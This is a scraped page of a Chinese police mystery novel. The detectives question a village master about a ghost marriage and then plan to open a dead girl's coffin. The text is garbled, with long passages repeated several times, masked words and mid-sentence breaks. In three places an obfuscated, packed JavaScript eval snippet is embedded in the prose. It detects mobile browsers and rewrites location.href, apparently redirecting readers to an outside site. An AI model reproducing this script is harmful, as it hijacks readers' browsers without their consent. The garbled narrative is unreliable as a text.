现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967391|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 一下,才道:“两位,请进来说吧。” 他将两人让进了院子。 进了堂屋,倒了两杯水。 楚隽谢了。 安暖一般不在外面喝水,特别不在村子里的老乡家喝水。 怎么说呢。 不是说嫌弃什么,而是害怕。 现在很多地方还没有通自来水,或者是虽然有管道,但是因为各种原因,供水时间有限。 很多地方还是在喝井水,河水,潭水之类的天然水源。 别说这个年代就纯洁没有污染,一样有细菌,有寄生虫,有种种不能承受的东西。 烧开了喝还好,有些人家没那么讲究,直接就是生水,安暖不敢喝,怕会喝出什么问题来。 一个那么大的国家,在战争中支离破碎,生命都艰难维持,其他的想要跟上,自然需要时间。 衣食住行,一口吃的一口喝的,在以前稀松平常,不会在意的事情,到了这个年代,都不容易。 “谢谢,我不渴,不用麻烦。” 安暖礼貌的拒绝了。 金大师在两人对面坐下:“警察同志,你先问什么?” 楚隽道:“金大师,你知道村子里,住着一户姓焦的人家吗?房主叫焦兴邦。” 金大师很快道:“知道。” “焦兴邦他们家的事情,你知道多少?” “焦家……什么事儿?”金大师迟疑了一下:“你是说,三年前,焦家的女儿焦雨花出了意外,配冥婚的事情吗?” 楚隽他们还什么都没提呢,金大师就先说了出来。楚隽和安暖两人心里一喜。 这事情看来是非常独特的,所以就算是金大师做惯了这样的事情,也记忆深刻。 楚隽立刻道:“具体说说那次的冥婚。” 冥婚这种,不管合理不合理,至少是专业性非常强的事情,一定要有专业的人来做。 普通人可能没结过婚,但是参加过别人的婚礼,也在各种话本子故事里看过怎么结婚,找葫芦画瓢,有个差不多就行。反正是喜庆的事情,只要是好的寓意,多一点也不怕。 可冥婚,听着就阴森可怕,普通人既没有机会参加,更没有机会了解,是绝对不会有人瞎来的。 如果焦雨花和向浩然的这一场冥婚,是金大师主持的,那他一定知道在婚礼上唱歌的那个,焦雨花的替身女孩是谁。 时隔三年,金大师的年纪又有些大了,回忆起来稍微有些费力。 他一边想,一边说。 “冥婚这事情吧,其实我这辈子,一共就做过那一次,所以印象确实深刻。” “焦兴邦他们家,是有些封建迷信思想的,干点什么都要来问问我,家里还供着很多佛像。” 一个干这行的大师,说人家封建迷信,也不知道是什么心理。 “三年前的一天,他们突然找了过来,说他们家的女儿,没了。我一听吓了一跳,那姑娘我是见过的,才十来岁,还在上小学,这没病没灾的,怎么就没了呢?” “我一问,说是出了车祸。” 这个年代车少,出车祸的人也少。 特别是村子里,你就是想出车祸,也没什么车可以撞你。 “我当时一听,就觉得很遗憾。不过天有不测风云,人有旦夕祸福,这是意外,也是没办法的事情。” “我以为,焦家是想让**持着,给办一场葬礼。毕竟他们家在这方面讲究,也是正常的。” “可是我没想到,焦兴邦问我,如果他女儿怨气重,怎么办,**以后,会不会变成鬼,来找他们算账?” “我当时一听,就觉得很奇怪。” 第317章 凭空出现的人 金大师说:“我知道焦雨花是被撞死的算是横死。要说有怨气那确实有但也不至于那么深啊。” 每天横死的人多的是死法五花八门各种各样。 死不瞑目的人也很多很多大人孩子年轻的老的谁都不想死。幸福的不幸的谁不是死不瞑目呢? 没见过几家担心自己亲人过世变成鬼来找自己的就算来也是带着期盼的吧。 自己的亲人变成鬼也不会伤害自己。只是多了一场相遇陪伴罢了。 “我当时就觉得很奇怪多问了几句。他们家含含糊糊地说了一些我大概也听明白了。虽然焦雨花是死于车祸但是这孩子在家里过得也不好跟家里人关系很糟糕。” 金大师是个看得很明白的人。 他做这一行人间喜怒哀乐人情冷暖看得太多太多了。 能**女儿的不是什么好人。 坏**部分胆子都不大活着的时候可着劲儿地欺负人。对方**开始害怕了担心对方变成鬼。 金大师说:“我当时心里也挺感慨的但是这事情吧外人也不好管。我就没说什么。他们要结冥婚也就是走个形式我就告诉他们这个流程。” 结冥婚顾名思义是**和**结婚。 最好是夫妻俩都是**。 但芸芸众生活蹦乱跳的大小伙子好找刚死的大小伙子可没有那么好找。 金大师给了两个道道。 年龄只要差不多就行但是必须未婚。 结过婚离了的也可以 **可以但是必须是七日内的。 **实在找不到活人也可以只要对方愿意愿意给生辰八字和名字。愿意将生辰八字和名字和焦雨花一起刻在墓碑上也可以。 只是焦雨花先走相当于夫妻分居两地等丈夫几十年罢了。 安暖自然听过冥婚但确实没有仔细的了解过这会儿忍不住道:“那如果男方以后结婚了怎么办?总不能不让人结婚吧。” “结就结呗。” “那一个男人两个女人这以后怎么分不是要闹吗?” “怎么会呢?各论各的。那都是以后的事情说不定不用等几十年就可以转世投胎了自然就没这些烦恼了。” 金大师一副理所应当的样子仿佛他睁着眼睛说瞎话的事情不存在一样。 “我那么一说焦家的人就信了过了两天他们家跟我说 ,有人选了。” 楚隽道:“那你知道是什么人吗?” “我不清楚。”金大师说:“哦,我知道他叫什么,叫向浩然,我见着他了,看着条件不错,也不知道为什么会答应焦家的条件。” “还有一个呢?”楚隽道:“听说还需要一个焦春雨的替身,这个替身,是和焦春雨年纪相仿的姑娘。这个姑娘,是什么人?” “哦,有一个。”金大师说:“是个叫娜娜的小姑娘,比焦春雨大一岁。就是她当成焦雨花的替身,完成冥婚的。” 重点来了。 楚隽追问道:“这姑娘,是你找的?” “不是。” “不是?那姑娘是哪儿来的?” 顿时两人都觉得,不会是都到这儿了,线索又断了吧? “我也不知道。”金大师说:“好像是焦雨花的一个同学,应该是焦家找的吧。我只负责仪式,不负责找人的。你们想,这事情一般人肯定不愿意干啊,就算是孩子愿意,父母也不愿意。给**当替身,这多晦气?我听说,那孩子好像是偷偷来的,没让家里知道。” 这也行? “你们这不是骗人吗?”安暖不由地道:“不怕孩子父母知道了要跟你们拼命吗?” 和焦雨花年龄相仿的孩子,十三岁左右。 如今的人和后世相比,还是要淳朴一些。 孩子也淳朴一些。 说不定真的说几句话就给哄骗了来,孩子可能根本不了解这句话的意义。 但就不怕她守不住秘密,回家里跟父母一说吗?这肯定是要找上门来闹的呀。 可惜,金大师不知道更多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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经验和习惯都是非常可怕的事情,一个人尝过一回犯罪的甜头,以后生活中稍有不如意,就很容易再次出手。 第318章 开棺 即便是有时候,凶手情有可原,也不行。 这一次,他是情有可原,似乎是为了正义。下一次呢,再下一次呢,每个人对正义的认知和判断都是不同的。当一个人发现自己可以避开法律,用自己的标准来审判别人的时候,就会视人命为草芥。 两人这半天也不算完全没有收获,找个小饭馆吃了中饭,便回了警局。 回到警局,倒是来了一个好消息。 联系上焦雨花的哥哥和父母了。 但是没有先联系。 “找到了?” “对,找到了。”江笑愚说:“不过没有联系,免得打草惊蛇。让人旁敲侧击地打探了一下,这两天就要回来了。” 出国定居,可不是那么简单的事情。 就算焦家的儿子有文化,可以在外面站住脚。老两口可是很困难的。 而且,后续还会需要很多很多的钱。 现在向浩然不会再给他们钱了,他们站不住。 “很好,派人在村子里盯着,一旦他们回来了,立刻带来。” 他有一个隐约的念头,不过这念头现在没有什么证据,还没好说。 楚隽将今天去学校和村里的情况说了一下,安排之后,去了趟法医室。 安暖自然也跟着去了。 乔主任撩了撩眼皮,表示欢迎。 他最近对楚隽,有一点点的意见。 董紫莺是乔主任的得意手下,又能干又聪明,乔主任一直想要大力培养她以后继承衣钵。 可还没培养出来,董紫莺跑了。 各项手续已经办好,出国进修去了。 这当然是好事,大家也是祝福她的。但是旁人的祝福轻飘飘,对乔主任来说,可是直接损失了一员大将,心里的郁闷是可想而知的。 董紫莺喜欢楚隽这事情,在局里除了闺蜜祁雨诗之外,没有旁人知道,乔主任自然是不知道的。但是乔主任知道董紫莺出国,是翟琛帮忙搭的关系走的路子。 虽然乔主任也不得不承认,远走高飞是董紫莺解决家庭问题最好的办法,可每每找不到合心可意的人使唤的时候,总难免心里郁闷。 郁闷就不讲道理,不讲道理就迁怒。 他又找不到翟琛,只能迁怒楚隽。 在这件事情上,楚隽真是何其无辜。 “乔主任。”楚隽说:“有个事情,想要请教你一下。” “你说。”乔主任说:“小安也来了,来,坐。” 安暖安心地坐下 了。 楚隽安然地站在一边。 “是这样的。”楚隽说:“现在查的这个案子,三年前有一桩车祸,一名十三岁的小女孩被撞**。然后死者家属和手机达成和解,这孩子就下葬了。” “嗯,然后呢?” “如果现在开棺验尸,能不能检验出来,死者到底是不是死于汽车撞击?” 安暖意外的看着楚隽。 楚隽的怀疑焦雨花的死因? 肯定不是因为向浩然和他关系好的缘故。 而是因为焦雨花的父母的态度。 太害怕了。 如果只是之前对女儿不好,让她做家务,不让上学,打骂过,不至于自己吓唬自己成这个样子。 当时焦雨花是突然冲到路上来了,随后父母哥哥就跟了上来。确实很可以。 楚隽详细地将情况给乔主任说了。 乔主任听完之后,仔细地想了想。 “要是早一点,那死因是很容易查的。这三年都过去了,要是不出意外,尸体都已经成白骨了,这会儿才查,确实是困难。” “那有可能检查出来吗?” “那还是有的。”乔主任说:“就算是剩下骸骨,骨头上也可能有伤。不过只是可能,具体情况,还要见了骸骨才知道。” 安暖有点担心。 这事情可不好办,别管什么时候,挖坟都是件特别忌讳的事情。农村忌讳,城里也忌讳。哪儿都忌讳。 这案子要是刚开始就有疑点,还能强制开坟。 如果三年了,现在想开坟,理由可不太充分。 这坟也不能偷偷摸摸的开,一定需要焦家的人点头认可。如果焦雨花的死真的和他们有关系的话,就不更不会自掘坟墓了。 开坟出来,要是真有什么,那也就罢了。 要是什么问题都没有,焦家人有的闹了。 这不就是之前回老家,在东来村遇到的一模一样的事情吗?不过当时是为了找活人,在判断坟里的孩子已经没有什么活着的希望的情况下,不着急开棺。 现在不一样了,案子不能卡着不动。 楚隽又和乔主任具体地聊了一会儿,这才离开。 安暖看得出来,离开的时候,他已经下了决心,要开这个棺。 这件事情楚隽也不好做主,要请示一下上面的领导。 既要找个人负责拍板,同样也找个人扛事儿。 去找领导,安暖就不跟着了,回了办公室。 好在这件 事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“局长怎么说?” “等焦家人回来,要是没有进展,就开棺。一会儿我再去看一下向浩然,毕竟他现在是唯一的目击者,焦雨花死的时候是什么情况,只有他知道。” 安暖点了点头。 “让他好好想,仔细说,要是说不清楚,就揍他。反正他现在伤着呢,既没办法反抗,也没办法逃跑。” 楚隽无言以对。 安暖对向浩然多少还是有点记恨的,之前他做的那点破事儿,一度让安暖很困扰,觉得自己是撞了邪了。 虽然安暖是个大方的人,后面知道缘由了,也没追着这件事情不放。但是在安暖心里,向浩然的形象还是不行,至少是个颠公,脑子多少是有点问题的。 事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“局长怎么说?” “等焦家人回来,要是没有进展,就开棺。一会儿我再去看一下向浩然,毕竟他现在是唯一的目击者,焦雨花死的时候是什么情况,只有他知道。” 安暖点了点头。 “让他好好想,仔细说,要是说不清楚,就揍他。反正他现在伤着呢,既没办法反抗,也没办法逃跑。” 楚隽无言以对。 安暖对向浩然多少还是有点记恨的,之前他做的那点破事儿,一度让安暖很困扰,觉得自己是撞了邪了。 虽然安暖是个大方的人,后面知道缘由了,也没追着这件事情不放。但是在安暖心里,向浩然的形象还是不行,至少是个颠公,脑子多少是有点问题的。 事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“局长怎么说?” “等焦家人回来,要是没有进展,就开棺。一会儿我再去看一下向浩然,毕竟他现在是唯一的目击者,焦雨花死的时候是什么情况,只有他知道。” 安暖点了点头。 “让他好好想,仔细说,要是说不清楚,就揍他。反正他现在伤着呢,既没办法反抗,也没办法逃跑。” 楚隽无言以对。 安暖对向浩然多少还是有点记恨的,之前他做的那点破事儿,一度让安暖很困扰,觉得自己是撞了邪了。 虽然安暖是个大方的人,后面知道缘由了,也没追着这件事情不放。但是在安暖心里,向浩然的形象还是不行,至少是个颠公,脑子多少是有点问题的。 事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“局长怎么说?” “等焦家人回来,要是没有进展,就开棺。一会儿我再去看一下向浩然,毕竟他现在是唯一的目击者,焦雨花死的时候是什么情况,只有他知道。” 安暖点了点头。 “让他好好想,仔细说,要是说不清楚,就揍他。反正他现在伤着呢,既没办法反抗,也没办法逃跑。” 楚隽无言以对。 安暖对向浩然多少还是有点记恨的,之前他做的那点破事儿,一度让安暖很困扰,觉得自己是撞了邪了。 虽然安暖是个大方的人,后面知道缘由了,也没追着这件事情不放。但是在安暖心里,向浩然的形象还是不行,至少是个颠公,脑子多少是有点问题的。 事情倒是没那么着急,焦雨花已经**三年了,也不急在这几天。完全可以等焦家的人回来之后,看他们的情况再做决定。 万一他们一吓唬,就什么都说了呢,那就省事儿了。 万一这两天找到了那个焦雨花替身的小姑娘,顺藤摸瓜找到了凶手呢,那也省事儿了。 挖坟开棺,那是最后一步了。 安暖坐在自己的位置上,手指轻轻敲着桌子。 如果都不行,能不能找一个非常充足的理由,让焦家的人不得不同意开棺? 自己同意,总比被押着同意好。 楚隽很快从办公室回来了。 “怎么样?”安暖忙道:“局长怎么说?” “等焦家人回来,要是没有进展,就开棺。一会儿我再去看一下向浩然,毕竟他现在是唯一的目击者,焦雨花死的时候是什么情况,只有他知道。” 安暖点了点头。 “让他好好想,仔细说,要是说不清楚,就揍他。反正他现在伤着呢,既没办法反抗,也没办法逃跑。” 楚隽无言以对。 安暖对向浩然多少还是有点记恨的,之前他做的那点破事儿,一度让安暖很困扰,觉得自己是撞了邪了。 虽然安暖是个大方的人,后面知道缘由了,也没追着这件事情不放。但是在安暖心里,向浩然的形象还是不行,至少是个颠公,脑子多少是有点问题的。 第319章 装死 向浩然这几天很痛苦,虽然已经度过了生命危险,可是还处于几乎不能动的状态。 他这罪一时半会儿都遭不完。 等好的七七八八之后,还要做复健。 医生说了,复健做的好,可以恢复如初。万一做的不好,胳膊和腿,很有可能会留下后遗症。 和这事情一比,婚事什么的都不重要了。 本来两家都着急慌忙的,已经着手给他们准备婚礼了。但现在向浩然出了车祸,一年半载都养不好,婚事只能往后延。 开始他没脱离生命危险的时候,向爸爸根本没心思谈这个。 现在脱离了生命危险,也还没着急谈。 就算是婚事不变,最早最早,也得等向浩然可以下床,至少要做轮椅,才能去结婚吧?总不能躺在病床上,让人抬去婚礼现场。 楚隽和安暖又到了医院。 向家请了好几个护工,每班两人,二十四小时轮班照顾。 楚隽到了之后,便让护工除去转转,休息休息。 护工懂事的去了。 向爸爸当时交代过,房间里必须有人,如果有人进病房,哪怕是医生护士,除非是熟悉的几个,不然都要格外注意。 但是楚隽来的话,不必小心。 于是护工安心的出去了。 “怎么样?” 关上门,向浩然迫不及待道:“是不是有什么进展?” “有一些。”楚隽将这今天调查的事情大致说了一下:“我过来,有一点疑惑,你要好好想想。” “什么?” 楚隽开门见山:“焦雨花,真的是你撞死的吗?” 向浩然傻了。 “是,是啊。” “你再仔细想想。”楚隽说:“我也不问你是不是你撞死的,你仔细想想那天晚上的情况。人撞着以后,你是不是立刻就下车了?” “那当然。” “然后呢?焦雨花当时是什么反应。” “就……倒在我车子边上,然后开始吐血。一口一口的,吐的满地都是。我当时吓坏了,就打算送她去医院。结果她父母还有哥哥,就冲了出来。” “然后呢?” “然后他们就开始哭天喊地,抱着女儿拽着我。” “你说要去医院?” “说了呀,不管能不能抢救,肯定要去医院的。但是他们说去医院肯定是我串通一气要推卸责任,然后就掰扯起来。没掰扯清楚呢,那小女孩儿就**。” “你们……在原地掰扯了多长时间?” 